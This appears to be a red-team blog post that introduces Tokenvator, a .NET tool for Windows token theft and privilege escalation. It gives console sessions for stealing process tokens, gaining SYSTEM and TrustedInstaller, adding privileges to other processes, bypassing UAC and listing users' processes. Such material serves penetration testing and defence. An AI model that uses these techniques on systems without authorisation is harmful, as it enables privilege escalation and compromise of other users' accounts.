Tokenvator: A Tool to Elevate Privilege using Windows Tokens
WheresMyImplant is a mini red team toolkit that I have been developing over the past year in .NET. While developing and using it, I found that I consistently needed to alter my process access token to do such things as SYSTEM permissions or add debug privileges to my process. The library used for this expanded to the point where it was as useful as an independent toolkit. This is why I created Tokenvator. It is a simple tool I wrote in .NET that can be used to elevate to the appropriate permissions on Windows. It works by impersonating or altering authentication tokens in processes that the executing process has the appropriate level of permissions to.
Tokenvator can be run in an interactive prompt, or commands can be provided as command line arguments. In the interactive mode, base commands will tab complete, with double tabs providing context specific help.
C:\Users\badjuju>Tokenvator.exe (Tokens) > help Name Optional Required ---- -------- -------- GetSystem Command - GetTrustedInstaller Command - Steal_Token Command ProcessID BypassUAC ProcessID Command List_Privileges ProcessID - Set_Privilege ProcessID Privilege List_Processes - - List_Processes_WMI - - Find_User_Processes - User Find_User_Processes_WMI - User List_User_Sessions - - WhoAmI - - RevertToSelf - - Run - Command (Tokens) > WhoAmI Name Optional Required ---- -------- -------- WhoAmI - - (Tokens) > WhoAmI [*] Operating as LAB\badjuju
While most of the screenshots will show commands running from an interactive (Tokens) > prompt, it is possible to run all commands as an argument.
At it’s most basic level, Tokenvator is used to access and manipulate Windows authentication tokens. To appropriate the token of another process, we can run the Steal_Token command with the target process’s PID.
(Tokens) > Steal_Token Name Optional Required ---- -------- -------- Steal_Token Command ProcessID (Tokens) > Steal_Token 7384 [*] Adjusting Token Privilege [+] Received luid [*] AdjustTokenPrivilege [+] Adjusted Token to: SeDebugPrivilege [*] Impersonating 7384 [+] Recieved Handle for: (7384) [+] Process Handle: 824 [+] Primary Token Handle: 828 [+] Duplicate Token Handle: 824 (Tokens) > whoami [*] Operating as lab\backup
We can also optionally add a command to be run that will be launched with the new access token.
(Tokens) > Steal_Token 7384 powershell.exe [*] Adjusting Token Privilege [+] Received luid [*] AdjustTokenPrivilege [+] Adjusted Token to: SeDebugPrivilege [+] Recieved Handle for: (7384) [+] Process Handle: 860 [+] Primary Token Handle: 864 [+] Duplicate Token Handle: 860 [*] CreateProcessWithTokenW [+] Created process: 14524 [+] Created thread: 18784
Windows PowerShell Copyright (C) Microsoft Corporation. All rights reserved. PS C:\WINDOWS\system32> whoami lab\backup PS C:\WINDOWS\system32> $pid 14524
The most common token I need to steal is for the NT AUTHORITY\SYSTEM account. The GetSystem command was created as a wrapper for Steal_Token to automatically find and access SYSTEM tokens. It works with the same syntax as Steal_Token. Note: This needs to be run from an elevated context.
(Tokens) > GetSystem [*] Adjusting Token Privilege [+] Received luid [*] AdjustTokenPrivilege [+] Adjusted Token to: SeDebugPrivilege [*] Searching for NT AUTHORITY\SYSTEM [*] Examining 344 processes [*] Discovered 118 processes [*] Impersonating 5488 [+] Recieved Handle for: (5488) [+] Process Handle: 888 [*] Impersonating 4444 [+] Recieved Handle for: (4444) [+] Process Handle: 868 [+] Primary Token Handle: 904 [+] Duplicate Token Handle: 868 (Tokens) > WhoAmI [*] Operating as NT AUTHORITY\SYSTEM (Tokens) > RevertToSelf [*] Reverted token to lab\badjuju
I’ve discovered that I am unable to directly access the token of certain processes unless I’ve first elevated to SYSTEM. Examples of the are the NT SERVICE accounts such as a local SQL service process. This might be necessary if the local SYSTEM account doesn’t have SYSADMIN privileges on the database. Scott Sutherland talks more about this in this blog.
It is common for the files in the SYSTEM32 folder or parts of the registry to be owned by the TRUSTEDINSTALLER group. To manipulate the contents of these locations, we can either take ownership or get an access token that has membership in the TRUSTEDINSTALLER group. Similar to GetSystem, GetTrustedInstaller is a wrapper for Steal_Token that starts the TrustedInstaller service and appropriates it’s token.
List_Privileges and Set_Privilege
Sometimes our process doesn’t have the particular access right that we need in order to complete a task. For instance, to access a process that your current user doesn’t own, the SeDebugPrivilege is required. Shown below is a split token in a high integrity process (UAC Elevated – TokenElevationTypeFull)
And here we can see the default privileges assigned to a split token in a medium integrity process (UAC Not Elevated – TokenElevationTypeLimited)
For this functionality, we are not limited to just our own process Let’s examine what notepad.exe’s token looks like when run as administrator. Note: To access a process not owned by your current user, the SeDebugPrivilege must be enabled on your current process.
Having examined notepad.exe’s token, we can remotely alter the privileges on it. Let’s add SeLoadDriverPrivilege to that token and see what happens. Note: Privilege names are case sensitive.
Sure enough, notepad.exe can now load a driver, for whatever interesting use case that might require that. In the future the ability to remove privileges will be added.
UAC bypasses have become plentiful that this point, however one of the more interesting ones comes from manipulating tokens. FuzzySecurity has done some very interesting work on a UAC bypass method utilizing Windows tokens. Tokenvator includes an implementation of the technique he published. Below, our unprivileged token can be used to access an elevated process our current user owns and spawn an elevated shell.
While this method likely will not be patched in the near future, it is not without its limitations. As can be seen below, while the process is high integrity, the privileges assigned to the token are still limited.
Finding User Processes
For finding a user on a system there are multiple methods for identification. Firstly, we can look at registered session on the system.
(Tokens) > List_User_Sessions User SessionID ---- --------- 0 badjuju 1 backup 2
One feature that I’ve wanted is the ability to have a summary view of user processes to get a sample of users and a process that they own. This is what the List_Processes command accomplishes.
(Tokens) > List_Processes User Process ID Process Name ---- ---------- ------------ lab\badjuju 4000 conhost
List_Processes takes advantage of the native API’s on the host and is quite fast at listing a summary of processes and owners. As of now, it will not be able to function properly unless run from an elevated context. Because of this, List_Processes_WMI has been included. As the name might imply, this operates via WMI. While not as quick as List_Processes, it can provide a more thorough view from a non-elevated context.
(Tokens) > List_Processes_WMI [*] Examining 102 processes User Process ID Process Name ---- ---------- ------------ \ 0 Idle LAB\BADJUJU 448 taskhost LOCAL\0XBADJUJU 1568 cmd
Or we can poll the system for for all processes running under the context of a particular user. Note: as of the initial release, the full username is required.
(Tokens) > Find_User_Processes WINDOWS7ENTERPR\BADJUJU [*] Examining 100 processes [*] Discovered 29 processes Process ID Process Name ---------- ------------ 3268 calc 3520 cmd 2604 cmd 4000 conhost 4664 conhost 920 conhost 1972 conhost 4928 conhost 2760 conhost 656 dwm 1776 explorer 5048 msvsmon 5352 msvsmon 3412 notepad 3552 powershell 3116 powershell_ise 2464 rdpclip 4820 rundotnetdll32 3944 taskhost 448 taskhost 3424 Tokenvator 4892 VCSExpress
Similarly to List_Processes a mechanism to accomplish the same task has been included via WMI. This will also work in an unelevated context.
(Tokens) > Find_User_Processes_WMI LOCAL\0xBADJUJU [*] Examining 102 processes [*] Discovered 31 processes Process ID Process Name ---------- ------------ 1568 cmd.exe 2108 conhost.exe 1936 procexp64.exe 3544 cmd.exe 3608 conhost.exe 3892 x64dbg.exe
I made this program for myself and the NetSPI team, but hopefully it will be useful to others. If you have any bugs, commits, or feature requests let me know. All are welcome.